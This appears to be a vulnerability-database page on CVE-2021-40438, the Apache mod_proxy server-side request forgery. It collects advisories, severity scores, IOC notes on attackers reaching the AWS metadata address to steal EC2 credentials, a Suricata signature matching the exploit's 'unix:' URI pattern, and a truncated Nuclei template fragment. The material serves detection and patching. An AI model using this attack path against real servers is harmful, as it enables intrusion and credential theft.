CVE-2021-40438
published 2021-09-16CVE-2021-40438: A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user. This issue affects Apache HTTP Server…
PriorityP198critical9CVSS 3.1
AVNACHPRNUINSCCHIHAH
KEVITWEXPLOITRansomwareInitial access
CISA Known Exploited Vulnerabilitydue 2021-12-15
Exploited in the wild
EPSS
100.00%
100.0th percentile
A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user. This issue affects Apache HTTP Server 2.4.48 and earlier.
Affected
86 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | http_server | <= 2.4.48 | — |
| apache | httpd | — | — |
| apache_software_foundation | apache_http_server | Apache HTTP Server 2.4 – 2.4.48 | — |
| debian | apache2 | < apache2 2.4.49-1 (bookworm) | apache2 2.4.49-1 (bookworm) |
| debian | apache2 | — | — |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| f5 | f5os | 1.1.0 – 1.1.4 | — |
| f5 | f5os | 1.2.0 – 1.2.1 | — |
| fedoraproject | fedora | — | — |
| fedoraproject | fedora | — | — |
| msrc | cbl2_httpd_2.4.52-1_on_cbl_mariner_2.0 | — | — |
| msrc | cm1_httpd_2.4.49-1_on_cbl_mariner_1.0 | — | — |
| oracle | enterprise_manager_ops_center | — | — |
| oracle | http_server | — | — |
| oracle | http_server | — | — |
| oracle | instantis_enterprisetrack | — | — |
| oracle | instantis_enterprisetrack | — | — |
| oracle | instantis_enterprisetrack | — | — |
| oracle | secure_global_desktop | — | — |
| oracle | zfs_storage_appliance_kit | — | — |
| paloalto | pan-os | — | — |
| redhat | enterprise_linux | — | — |
| redhat | enterprise_linux | — | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Trend Micro Workload Security Intrusion Prevention filter 1011183 detects CVE-2021-40438 SSRF exploitation attempts against Apache HTTP Server mod_proxy. ↗
- →Trend Micro Network Security filter 40421 detects the long UDS path name proxy request pattern used to exploit CVE-2021-40438. ↗
- →Exploitation of CVE-2021-40438 observed in the wild targeting the AWS IMDS link-local address (169.254.169.254) via SSRF through mod_proxy to steal EC2 instance credentials. ↗
- →Detect use of masscan and zgrab scanning for Weave Scope UI on ports 80, 443, and 4040 as post-exploitation lateral movement/reconnaissance activity. ↗
- →The CVE-2021-40438 vulnerability is in the mod_proxy module; a crafted request uri-path causes Apache to forward requests to an attacker-chosen origin server (SSRF). Inspect proxy request URI paths for anomalous or oversized UDS path components. ↗
- ·CVE-2021-40438 affects Apache HTTP Server versions 2.4.48 and earlier; the mod_proxy module must be enabled for the vulnerability to be exploitable. ↗
- ·SSRF exploitation targeting AWS IMDS is only impactful if IMDSv2 is not enforced; restricting to IMDSv2 prevents credential enumeration via this attack path. ↗
CVSS provenance
nvdv3.19.0CRITICALCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
nvdv2.06.8MEDIUMAV:N/AC:M/Au:N/C:P/I:P/A:P
osv9.0CRITICAL
vulncheck9.0CRITICAL
cisa9.0CRITICAL
vendor_debian9.8LOW
vendor_redhat9.8CRITICAL
vendor_cisco9.0CRITICAL
vendor_msrc9.0CRITICAL
vendor_oracle9.0CRITICAL
vendor_apache7.5HIGH
vendor_ubuntu7.5HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Palo Alto
PAN-SA-2024-0004 Informational Bulletin: OSS CVEs fixed in PAN-OS
vendor_paloalto·2024-04-10·CVSS 9.8
CVE-2015-5739 [CRITICAL] PAN-SA-2024-0004 Informational Bulletin: OSS CVEs fixed in PAN-OS
PAN-SA-2024-0004 Informational Bulletin: OSS CVEs fixed in PAN-OS
The Palo Alto Networks Product Security Assurance team has evaluated the following open source software (OSS) CVEs as they relate to PAN-OS. While it was not determined that these CVEs have any significant impact on PAN-OS, they have been fixed out of an abundance of caution. CVE Summary CVE-2015-5739 This CVE is fixed in PAN-OS 11.0.4, and all later PAN-OS versions. CVE-2016-10228 This CVE is fixed in PAN-OS 11.1.3, and all later PAN-OS versions. CVE-2017-8923 This CVE is fixed in PAN-OS 10.2.8, 11.0.3, and all later PAN-OS versions. CVE-2017-9120 This CVE is fixed in PAN-OS 10.2.8, 11.0.3, and all later PAN-OS versions. CVE-2018-25009 This CVE is fixed in PAN-OS 10.2.8, 11.0.4, 11.1.3, and all later PAN-OS versions. CVE-2
CISA ICS
Siemens Apache HTTP Server (Update A)
cisa_ics·2022-06-16·CVSS 7.5
[HIGH] Siemens Apache HTTP Server (Update A)
## Archived Content In an effort to keep CISA.gov current, the archive contains outdated information that may not reflect current policy or programs.
ICS Advisory
##
Siemens Apache HTTP Server (Update A)
Last RevisedOctober 13, 2022
Alert CodeICSA-22-167-06
## 1. EXECUTIVE SUMMARY
- CVSS v3 9.8
- ATTENTION: Exploitable remotely/low attack complexity
- Vendor: Siemens
- Equipment: Apache HTTP Server
- Vulnerabilities: NULL Pointer Dereference, Out-of-bounds Write, Server-side Request Forgery (SSRF)
## 2. UPDATE INFORMATION
This updated advisory is a follow-up to the advisory update titled ICSA-22-167-06 Siemens Apache HTTP Server that was published June 16, 2022, to the ICS webpage on www.cisa.gov/uscert.
## 3. RISK EVALUATION
Success
Oracle
Oracle Oracle Enterprise Manager Risk Matrix: User Interface (Apache HTTP Server) — CVE-2021-40438
vendor_oracle·2022-04-15·CVSS 9.0
CVE-2021-40438 [CRITICAL] Oracle Oracle Enterprise Manager Risk Matrix: User Interface (Apache HTTP Server) — CVE-2021-40438
Oracle Oracle Enterprise Manager Risk Matrix: User Interface (Apache HTTP Server) vulnerability
CVE: CVE-2021-40438
CVSS: 9.0
Protocol: HTTP
Remote exploit: Yes
Affected versions: Network
Advisory: cpuapr2022 (APR 2022)
Oracle
Oracle Oracle Fusion Middleware Risk Matrix: OSSL Module (Apache HTTP Server) — CVE-2021-40438
vendor_oracle·2022-01-15·CVSS 9.0
CVE-2021-40438 [CRITICAL] Oracle Oracle Fusion Middleware Risk Matrix: OSSL Module (Apache HTTP Server) — CVE-2021-40438
Oracle Oracle Fusion Middleware Risk Matrix: OSSL Module (Apache HTTP Server) vulnerability
CVE: CVE-2021-40438
CVSS: 9.0
Protocol: HTTP
Remote exploit: Yes
Affected versions: Network
Advisory: cpujan2022 (JAN 2022)
CISA
Apache HTTP Server-Side Request Forgery (SSRF)
cisa·2021-12-01·CVSS 9.0
CVE-2021-40438 [CRITICAL] CWE-918 Apache HTTP Server-Side Request Forgery (SSRF)
Vulnerability: Apache HTTP Server-Side Request Forgery (SSRF)
Affected: Apache Apache
A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user. This issue affects Apache HTTP Server 2.4.48 and earlier.
Required Action: Apply updates per vendor instructions.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2021-40438
Remediation Due Date: 2021-12-15
Cisco
Multiple Vulnerabilities in Apache HTTP Server Affecting Cisco Products: November 2021
vendor_cisco·2021-11-24·CVSS 9.0
CVE-2021-33193 [CRITICAL] CWE-120 Multiple Vulnerabilities in Apache HTTP Server Affecting Cisco Products: November 2021
Multiple Vulnerabilities in Apache HTTP Server Affecting Cisco Products: November 2021
On September 16, 2021, the Apache Software Foundation disclosed five vulnerabilities affecting the Apache HTTP Server (httpd) 2.4.48 and earlier releases.
For a description of these vulnerabilities, see the Apache HTTP Server 2.4.49 section of the Apache HTTP Server 2.4 vulnerabilities webpage.
This advisory will be updated as additional information becomes available.
This advisory is available at the following link:https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-httpd-2.4.49-VWL69sWQ
Red Hat
httpd: Regression of CVE-2021-40438 and CVE-2021-26691 fixes in Red Hat Enterprise Linux 8.5
vendor_redhat·2021-11-09·CVSS 9.8
CVE-2021-20325 [CRITICAL] CWE-918 httpd: Regression of CVE-2021-40438 and CVE-2021-26691 fixes in Red Hat Enterprise Linux 8.5
httpd: Regression of CVE-2021-40438 and CVE-2021-26691 fixes in Red Hat Enterprise Linux 8.5
Missing fixes for CVE-2021-40438 and CVE-2021-26691 in the versions of httpd, as shipped in Red Hat Enterprise Linux 8.5.0, causes a security regression compared to the versions shipped in Red Hat Enterprise Linux 8.4. A user who installs or updates to Red Hat Enterprise Linux 8.5.0 would be vulnerable to the mentioned CVEs, even if they were properly fixed in Red Hat Enterprise Linux 8.4. CVE-2021-20325 was assigned to that Red Hat specific security regression and it does not affect the upstream versions of httpd.
Missing fixes for CVE-2021-40438 and CVE-2021-26691 in the versions of httpd, as shipped in Red Hat Enterprise Linux 8.5.0, causes a security regression compared to the versions shippe
Ubuntu
Apache HTTP Server regression
vendor_ubuntu·2021-09-28·CVSS 7.5
[HIGH] Apache HTTP Server regression
Title: Apache HTTP Server regression
Summary: USN-5090-1 introduced a regression in Apache HTTP Server.
USN-5090-1 fixed vulnerabilities in Apache HTTP Server. One of the upstream
fixes introduced a regression in UDS URIs. This update fixes the problem.
Original advisory details:
James Kettle discovered that the Apache HTTP Server HTTP/2 module
incorrectly handled certain crafted methods. A remote attacker could
possibly use this issue to perform request splitting or cache poisoning
attacks. (CVE-2021-33193)
It was discovered that the Apache HTTP Server incorrectly handled certain
malformed requests. A remote attacker could possibly use this issue to
cause the server to crash, resulting in a denial of service.
(CVE-2021-34798)
Li Zhi Xin discovered that the Apache mod_proxy_uwsgi mod
Ubuntu
Apache HTTP Server vulnerabilities
vendor_ubuntu·2021-09-27·CVSS 7.5
CVE-2021-39275 [HIGH] Apache HTTP Server vulnerabilities
Title: Apache HTTP Server vulnerabilities
Summary: Several security issues were fixed in Apache HTTP Server.
USN-5090-1 fixed several vulnerabilities in Apache. This update provides
the corresponding update for Ubuntu 14.04 ESM and Ubuntu 16.04 ESM.
Original advisory details:
It was discovered that the Apache HTTP Server incorrectly handled certain
malformed requests. A remote attacker could possibly use this issue to
cause the server to crash, resulting in a denial of service.
(CVE-2021-34798)
It was discovered that the Apache HTTP Server incorrectly handled escaping
quotes. If the server was configured with third-party modules, a remote
attacker could use this issue to cause the server to crash, resulting in a
denial of service, or possibly execute arbitrary code. (CVE-2021-39275)
Ubuntu
Apache HTTP Server vulnerabilities
vendor_ubuntu·2021-09-27·CVSS 7.5
CVE-2021-34798 [HIGH] Apache HTTP Server vulnerabilities
Title: Apache HTTP Server vulnerabilities
Summary: Several security issues were fixed in Apache HTTP Server.
James Kettle discovered that the Apache HTTP Server HTTP/2 module
incorrectly handled certain crafted methods. A remote attacker could
possibly use this issue to perform request splitting or cache poisoning
attacks. (CVE-2021-33193)
It was discovered that the Apache HTTP Server incorrectly handled certain
malformed requests. A remote attacker could possibly use this issue to
cause the server to crash, resulting in a denial of service.
(CVE-2021-34798)
Li Zhi Xin discovered that the Apache mod_proxy_uwsgi module incorrectly
handled certain request uri-paths. A remote attacker could possibly use
this issue to cause the server to crash, resulting in a denial of service.
This issue
Red Hat
httpd: mod_proxy: SSRF via a crafted request uri-path containing "unix:"
vendor_redhat·2021-09-16·CVSS 9.0
CVE-2021-40438 [CRITICAL] CWE-918 httpd: mod_proxy: SSRF via a crafted request uri-path containing "unix:"
httpd: mod_proxy: SSRF via a crafted request uri-path containing "unix:"
A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user. This issue affects Apache HTTP Server 2.4.48 and earlier.
A Server-Side Request Forgery (SSRF) flaw was found in mod_proxy of httpd. This flaw allows a remote, unauthenticated attacker to make the httpd server forward requests to an arbitrary server. The attacker could get, modify, or delete resources on other services that may be behind a firewall and inaccessible otherwise. The impact of this flaw varies based on what services and resources are available on the httpd network.
Statement: Impact of the flaw set to Important because the actions an attacker can do varies a lot based on the kind of inf
Microsoft
mod_proxy SSRF
vendor_msrc·2021-09-14·CVSS 9.0
CVE-2021-40438 [CRITICAL] CWE-918 mod_proxy SSRF
mod_proxy SSRF
FAQ: Is Azure Linux the only Microsoft product that includes this open-source library and is therefore potentially affected by this vulnerability?
One of the main benefits to our customers who choose to use the Azure Linux distro is the commitment to keep it up to date with the most recent and most secure versions of the open source libraries with which the distro is composed. Microsoft is committed to transparency in this work which is why we began publishing CSAF/VEX in October 2025. See this blog post for more information. If impact to additional products is identified, we will update the CVE to reflect this.
Mariner: Mariner
apache: apache
Customer Action Required: Yes
Remediation: CBL-Mariner Releases
Reference: https://learn.microsoft.com/en-us/azure/azure-linux/
Debian
CVE-2021-20325: apache2 - Missing fixes for CVE-2021-40438 and CVE-2021-26691 in the versions of httpd, as...
vendor_debian·2021·CVSS 9.8
CVE-2021-20325 [CRITICAL] CVE-2021-20325: apache2 - Missing fixes for CVE-2021-40438 and CVE-2021-26691 in the versions of httpd, as...
Missing fixes for CVE-2021-40438 and CVE-2021-26691 in the versions of httpd, as shipped in Red Hat Enterprise Linux 8.5.0, causes a security regression compared to the versions shipped in Red Hat Enterprise Linux 8.4. A user who installs or updates to Red Hat Enterprise Linux 8.5.0 would be vulnerable to the mentioned CVEs, even if they were properly fixed in Red Hat Enterprise Linux 8.4. CVE-2021-20325 was assigned to that Red Hat specific security regression and it does not affect the upstream versions of httpd.
Scope: local
bookworm: resolved
bullseye: resolved
forky: resolved
sid: resolved
trixie: resolved
Debian
CVE-2021-40438: apache2 - A crafted request uri-path can cause mod_proxy to forward the request to an orig...
vendor_debian·2021·CVSS 9.0
CVE-2021-40438 [CRITICAL] CVE-2021-40438: apache2 - A crafted request uri-path can cause mod_proxy to forward the request to an orig...
A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user. This issue affects Apache HTTP Server 2.4.48 and earlier.
Scope: local
bookworm: resolved (fixed in 2.4.49-1)
bullseye: resolved (fixed in 2.4.51-1~deb11u1)
forky: resolved (fixed in 2.4.49-1)
sid: resolved (fixed in 2.4.49-1)
trixie: resolved (fixed in 2.4.49-1)
Apache
Apache httpd: CVE-2021-40438
vendor_apache·CVSS 7.5
CVE-2021-40438 [HIGH] Apache httpd: CVE-2021-40438
Apache httpd: CVE-2021-40438
A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user. This issue affects Apache HTTP Server 2.4.48 and earlier. Acknowledgements: The issue was discovered by the Apache HTTP security team while analysing CVE-2021-36160 Update 2.4.49 released 2021-09-16 Affects <=2.4.48
Severity: high
Cisco
Multiple Vulnerabilities in Apache HTTP Server Affecting Cisco Products: November 2021
vendor_cisco·CVSS 3.1
CVE-2021-40438 Multiple Vulnerabilities in Apache HTTP Server Affecting Cisco Products: November 2021
CVE-2021-40438: Multiple Vulnerabilities in Apache HTTP Server Affecting Cisco Products: November 2021
On September 16, 2021, the Apache Software Foundation disclosed five vulnerabilities affecting the Apache HTTP Server (httpd) 2.4.48 and earlier releases. For a description of these vulnerabilities, see the Apache HTTP Server 2.4.49 section of the Apache HTTP Server 2.4 vulnerabilities webpage. This advisory will be updated as additional information becomes available. This advisory is available at the following link: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-httpd-2.4.49-VWL69sWQ
CVSS: 3.1
CWE: CWE-120, CWE-125, CWE-476, CWE-120, CWE-125, CWE-476, CWE-918, CWE-120, CWE-125, CWE-476, CWE-120, CWE-125, CWE-476, CWE-918
Bug IDs: CSCwa33065,
GHSA
GHSA-rwxq-58vm-3v2j: A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user
ghsa_unreviewed·2022-05-24
CVE-2021-40438 [CRITICAL] CWE-918 GHSA-rwxq-58vm-3v2j: A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user
A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user. This issue affects Apache HTTP Server 2.4.48 and earlier.
GHSA
GHSA-4pm7-9gg5-72pv: Missing fixes for CVE-2021-40438 and CVE-2021-26691 in the versions of httpd, as shipped in Red Hat Enterprise Linux 8
ghsa_unreviewed·2022-02-19·CVSS 9.8
CVE-2021-20325 [CRITICAL] CWE-119 GHSA-4pm7-9gg5-72pv: Missing fixes for CVE-2021-40438 and CVE-2021-26691 in the versions of httpd, as shipped in Red Hat Enterprise Linux 8
Missing fixes for CVE-2021-40438 and CVE-2021-26691 in the versions of httpd, as shipped in Red Hat Enterprise Linux 8.5.0, causes a security regression compared to the versions shipped in Red Hat Enterprise Linux 8.4. A user who installs or updates to Red Hat Enterprise Linux 8.5.0 would be vulnerable to the mentioned CVEs, even if they were properly fixed in Red Hat Enterprise Linux 8.4. CVE-2021-20325 was assigned to that Red Hat specific security regression and it does not affect the upstream versions of httpd.
OSV
apache2 regression
osv·2021-09-28·CVSS 7.5
CVE-2021-33193 [HIGH] apache2 regression
apache2 regression
USN-5090-1 fixed vulnerabilities in Apache HTTP Server. One of the upstream
fixes introduced a regression in UDS URIs. This update fixes the problem.
Original advisory details:
James Kettle discovered that the Apache HTTP Server HTTP/2 module
incorrectly handled certain crafted methods. A remote attacker could
possibly use this issue to perform request splitting or cache poisoning
attacks. (CVE-2021-33193)
It was discovered that the Apache HTTP Server incorrectly handled certain
malformed requests. A remote attacker could possibly use this issue to
cause the server to crash, resulting in a denial of service.
(CVE-2021-34798)
Li Zhi Xin discovered that the Apache mod_proxy_uwsgi module incorrectly
handled certain request uri-paths. A remote attacker could possibly us
OSV
apache2 vulnerabilities
osv·2021-09-27·CVSS 7.5
CVE-2021-34798 [HIGH] apache2 vulnerabilities
apache2 vulnerabilities
USN-5090-1 fixed several vulnerabilities in Apache. This update provides
the corresponding update for Ubuntu 14.04 ESM and Ubuntu 16.04 ESM.
Original advisory details:
It was discovered that the Apache HTTP Server incorrectly handled certain
malformed requests. A remote attacker could possibly use this issue to
cause the server to crash, resulting in a denial of service.
(CVE-2021-34798)
It was discovered that the Apache HTTP Server incorrectly handled escaping
quotes. If the server was configured with third-party modules, a remote
attacker could use this issue to cause the server to crash, resulting in a
denial of service, or possibly execute arbitrary code. (CVE-2021-39275)
It was discovered that the Apache mod_proxy module incorrectly handled
certain request
OSV
apache2 vulnerabilities
osv·2021-09-27·CVSS 7.5
CVE-2021-33193 [HIGH] apache2 vulnerabilities
apache2 vulnerabilities
James Kettle discovered that the Apache HTTP Server HTTP/2 module
incorrectly handled certain crafted methods. A remote attacker could
possibly use this issue to perform request splitting or cache poisoning
attacks. (CVE-2021-33193)
It was discovered that the Apache HTTP Server incorrectly handled certain
malformed requests. A remote attacker could possibly use this issue to
cause the server to crash, resulting in a denial of service.
(CVE-2021-34798)
Li Zhi Xin discovered that the Apache mod_proxy_uwsgi module incorrectly
handled certain request uri-paths. A remote attacker could possibly use
this issue to cause the server to crash, resulting in a denial of service.
This issue only affected Ubuntu 20.04 LTS and Ubuntu 21.04.
(CVE-2021-36160)
It was discovered t
OSV
CVE-2021-40438: A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user
osv·2021-09-16·CVSS 9.0
CVE-2021-40438 [CRITICAL] CVE-2021-40438: A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user
A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user. This issue affects Apache HTTP Server 2.4.48 and earlier.
VulnCheck
Apache HTTP Server-Side Request Forgery (SSRF)
vulncheck·2021·CVSS 9.0
CVE-2021-40438 [CRITICAL] CWE-918 Apache HTTP Server-Side Request Forgery (SSRF)
Apache HTTP Server-Side Request Forgery (SSRF)
A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user. This issue affects Apache HTTP Server 2.4.48 and earlier.
Affected: Apache Apache
Required Action: Apply updates per vendor instructions.
Known Ransomware Campaign Use: Known
Exploitation References: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; https://unit42.paloaltonetworks.com/network-attacks-trends-august-october-2021/; https://www.trendmicro.com/en_us/research/22/b/recent-cyberattacks-open-source-web-servers.html; https://info.securin.io/hubfs/Securin%20Ransomware%20Report%202023.pdf; https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/unit42-cloud-threat-r
Suricata
ET EXPLOIT Apache HTTP Server SSRF (CVE-2021-40438)
suricata·2021-11-30·CVSS 9.0
CVE-2021-40438 [CRITICAL] ET EXPLOIT Apache HTTP Server SSRF (CVE-2021-40438)
ET EXPLOIT Apache HTTP Server SSRF (CVE-2021-40438)
Rule: alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache HTTP Server SSRF (CVE-2021-40438)"; flow:established,to_server; urilen:>200; http.method; content:"GET"; http.uri; content:"/?unix|3a|"; nocase; fast_pattern; content:"|7c|http"; reference:cve,2021-40438; classtype:attempted-admin; sid:2034566; rev:2; metadata:attack_target Server, created_at 2021_11_30, cve CVE_2021_40438, deployment Perimeter, deployment Internal, confidence High, signature_severity Major, tag Exploit, tag CISA_KEV, updated_at 2021_11_30, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)
Nuclei
Apache <= 2.4.48 Mod_Proxy - Server-Side Request Forgery
nuclei·CVSS 9.0
CVE-2021-40438 [CRITICAL] Apache <= 2.4.48 Mod_Proxy - Server-Side Request Forgery
Apache Interactsh Server ')"
condition: and
# digest: 4b0a00483046022100e3782623b7ca68ca3f543744e64c4db8943b6029e1ec7aa74c7ec8e2b6b2d796022100b384e2d5e54b3da9dfbb26fd4f5fed1901add32b0e95831a1b987f8e57d1f701:922c64590222798bb761d5b6d8e72950
Tenable
AA23-215A: 2022's Top Routinely Exploited Vulnerabilities
blogs_tenable·2023-08-03
AA23-215A: 2022's Top Routinely Exploited Vulnerabilities
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Trendmicro
Threat Actors Target AWS EC2 Workloads to Steal Credentials
blogs_trendmicro·2022-10-26
Threat Actors Target AWS EC2 Workloads to Steal Credentials
Cloud
## Threat Actors Target AWS EC2 Workloads to Steal Credentials
We found malicious samples attempting to steal Amazon Elastic Compute Cloud (EC2) Workloads' access keys and tokens via typosquatting and the abuse of legitimate tools.
By: Nitesh Surana Oct 26, 2022 Read time: ( words)
Save to Folio
Recently, we came across an exploitation attempt leveraging monitoring and visualization tool Weave Scope to enumerate the Amazon Web Services (AWS) instance metadata service ( IMDS ) from Elastic Compute Cloud (EC2) instances through environment variables and the IMDS endpoint. The abuse of this tool can allow the exfiltration of access keys and tokens to a domain possibly owned by the attacker and uses a dated technique called typosquatting on AWS-owned domain amazonaws.com . This is f
Trendmicro
Threat Actors Target AWS EC2 Workloads to Steal Credentials
blogs_trendmicro·2022-10-26
Threat Actors Target AWS EC2 Workloads to Steal Credentials
Cloud
# Threat Actors Target AWS EC2 Workloads to Steal Credentials
We found malicious samples attempting to steal Amazon Elastic Compute Cloud (EC2) Workloads' access keys and tokens via typosquatting and the abuse of legitimate tools.
By: Nitesh Surana
2022/10/26
Read time: ( words)
Save to Folio
Recently, we came across an exploitation attempt leveraging monitoring and visualization tool Weave Scope to enumerate the Amazon Web Services (AWS) instance metadata service (IMDS) from Elastic Compute Cloud (EC2) instances through environment variables and the IMDS endpoint. The abuse of this tool can allow the exfiltration of access keys and tokens to a domain possibly owned by the attacker and uses a dated technique called typosquatting on AWS-owned domain amazonaws.com. This is follow
Trendmicro
Threat Actors Target AWS EC2 Workloads to Steal Credentials
blogs_trendmicro·2022-10-26
Threat Actors Target AWS EC2 Workloads to Steal Credentials
Nube
## Threat Actors Target AWS EC2 Workloads to Steal Credentials
We found malicious samples attempting to steal Amazon Elastic Compute Cloud (EC2) Workloads' access keys and tokens via typosquatting and the abuse of legitimate tools.
By: Nitesh Surana Oct 26, 2022 Read time: ( words)
Save to Folio
Recently, we came across an exploitation attempt leveraging monitoring and visualization tool Weave Scope to enumerate the Amazon Web Services (AWS) instance metadata service ( IMDS ) from Elastic Compute Cloud (EC2) instances through environment variables and the IMDS endpoint. The abuse of this tool can allow the exfiltration of access keys and tokens to a domain possibly owned by the attacker and uses a dated technique called typosquatting on AWS-owned domain amazonaws.com . This is fo
Trendmicro
Threat Actors Target AWS EC2 Workloads to Steal Credentials
blogs_trendmicro·2022-10-26
Threat Actors Target AWS EC2 Workloads to Steal Credentials
Cloud
## Threat Actors Target AWS EC2 Workloads to Steal Credentials
We found malicious samples attempting to steal Amazon Elastic Compute Cloud (EC2) Workloads' access keys and tokens via typosquatting and the abuse of legitimate tools.
By: Nitesh Surana 2022/10/26 Read time: ( words)
Save to Folio
Recently, we came across an exploitation attempt leveraging monitoring and visualization tool Weave Scope to enumerate the Amazon Web Services (AWS) instance metadata service ( IMDS ) from Elastic Compute Cloud (EC2) instances through environment variables and the IMDS endpoint. The abuse of this tool can allow the exfiltration of access keys and tokens to a domain possibly owned by the attacker and uses a dated technique called typosquatting on AWS-owned domain amazonaws.com . This is fol
Unit42
Top CVEs to Patch: Insights from the 2022 Unit 42 Network Threat Trends Research Report
blogs_unit42·2022-07-21·CVSS 9.8
CVE-2017-5638 [CRITICAL] Top CVEs to Patch: Insights from the 2022 Unit 42 Network Threat Trends Research Report
Threat Research Center
Trend Reports
Vulnerabilities
## Top CVEs to Patch: Insights from the 2022 Unit 42 Network Threat Trends Research Report
Unit 42
Published: July 21, 2022
Trend Reports
Vulnerabilities
Apache Log4j
CVE-2017-5638
CVE-2017-9841
CVE-2018-19986
CVE-2019-02320
CVE-2019-19597
CVE-2019-9082
CVE-2020-14882
CVE-2020-14883
CVE-2020-15505
CVE-2020-15506
CVE-2020-25078
CVE-2020-5902
CVE-2021-21315
CVE-2021-22986
CVE-2021-26855
CVE-2021-31805
CVE-2021-34473
CVE-2021-35464
CVE-2021-38647
CVE-2021-40438
CVE-2021-40539
CVE-2021-41773
CVE-2021-42013
CVE-2021-44228
CVE-2021-45046
CVE-2022-22963
CVE-2022-22965
Network security trends
Unit 42 Network Threat Trends Research Report
## Executive Summary
Tens of thousands of vulnerabilities are repo
Unit42
Top CVEs to Patch: Insights from the 2022 Unit 42 Network Threat Trends Research Report
blogs_unit42·2022-07-21·CVSS 9.8
[CRITICAL] Top CVEs to Patch: Insights from the 2022 Unit 42 Network Threat Trends Research Report
## Executive Summary
Tens of thousands of vulnerabilities are reported every year, but not all are used by threat actors in real-world attacks. There are many reasons for this: a proof of concept (PoC) may not be available for attackers to weaponize, it may be too difficult to exploit the vulnerability, there may be a lack of accessible vulnerable software on the internet, or attackers may simply deem a vulnerability not worth exploiting due to low impact. Real-world defenders need real-world data on which vulnerabilities attackers are choosing to exploit – and where to focus protections.
In the 2022 Unit 42 Network Threat Trends Research Report, we’ve used data captured by the Palo Alto Networks Advanced Threat Prevention security service on Next-Generation Firewall and Prisma SASE from
Trendmicro
Cyberangriffe auf Open Source-Webserver
blogs_trendmicro·2022-03-03·CVSS 9.8
[CRITICAL] Cyberangriffe auf Open Source-Webserver
APT und gezielte Angriffe
## Cyberangriffe auf Open Source-Webserver
Cyberangriffe auf Open-Source-Webserver wie Apache HTTP Server haben rapide zugenommen. Angriffe wie die Ausführung von Remote-Code, die Umgehung von Zugriffskontrollen, Denial-of-Service oder Cyberjacking dienen dem Mining von Kryptowährungen.
By: Jon Clay Mar 03, 2022 Read time: ( words)
Save to Folio
Originalartikel von Jon Clay, VP, Threat Intelligence
Cyberangriffe auf Open-Source-Webserver wie Apache HTTP Server haben rapide zugenommen. Böswillige Akteure setzen dabei auf Angriffe wie Remote Code Execution (RCE), Umgehung der Zugriffskontrolle, Denial of Service (DoS) oder sogar Cyberjacking, um auf den Servern der Opfer Kryptowährungen zu schürfen. Um Unternehmen vor bösartigen Aktivitäten zu schützen, bedarf
Qualys
Managing CISA Known Exploited Vulnerabilities with Qualys VMDR | Qualys
blogs_qualys·2022-02-23
Managing CISA Known Exploited Vulnerabilities with Qualys VMDR | Qualys
#### Table of Contents
- Situation
- Directive Scope
- CISA Catalog of Known Exploited Vulnerabilities
- Detect CISA Vulnerabilities Using Qualys VMDR
- CISA Exploited RTI
- Detailed Operational Dashboard
- Remediation
- Federal Enterprises and Agencies Can Act Now
- Summary
- Getting Started
CISA released a directive in November 2021, recommending urgent and prioritized remediation of actively exploited vulnerabilities. Both government agencies and corporations should heed this advice. This blog outlines how Qualys Vulnerability Management, Detection & Response can be used by any organization to respond to this directive efficiently and effectively.
## Situation
Last November 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a Binding Operational Directiv
Trendmicro
Recent Cyberattacks Increasingly Target Open-source Web Servers
blogs_trendmicro·2022-02-22·CVSS 9.8
CVE-2021-44228 [CRITICAL] Recent Cyberattacks Increasingly Target Open-source Web Servers
APT & Targeted Attacks
# Recent Cyberattacks Target Open-source Web Servers
Malicious actors take advantage of people’s reliance on web servers to perform attacks like remote code execution, access control bypass, denial of service, or even cyberjacking the victim servers to mine cryptocurrencies.
By: Jon Clay
2022/02/22
Read time: ( words)
Save to Folio
As organizations reeled from the Log4Shell vulnerability (CVE-2021-44228), cyberattacks aiming at open-source web servers, like Apache HTTP Server, were rapidly rising. Malicious actors take advantage of people’s reliance on web servers to perform attacks like remote code execution (RCE), access control bypass, denial of service (DoS), or even cyberjacking the victim servers to mine cryptocurrencies.
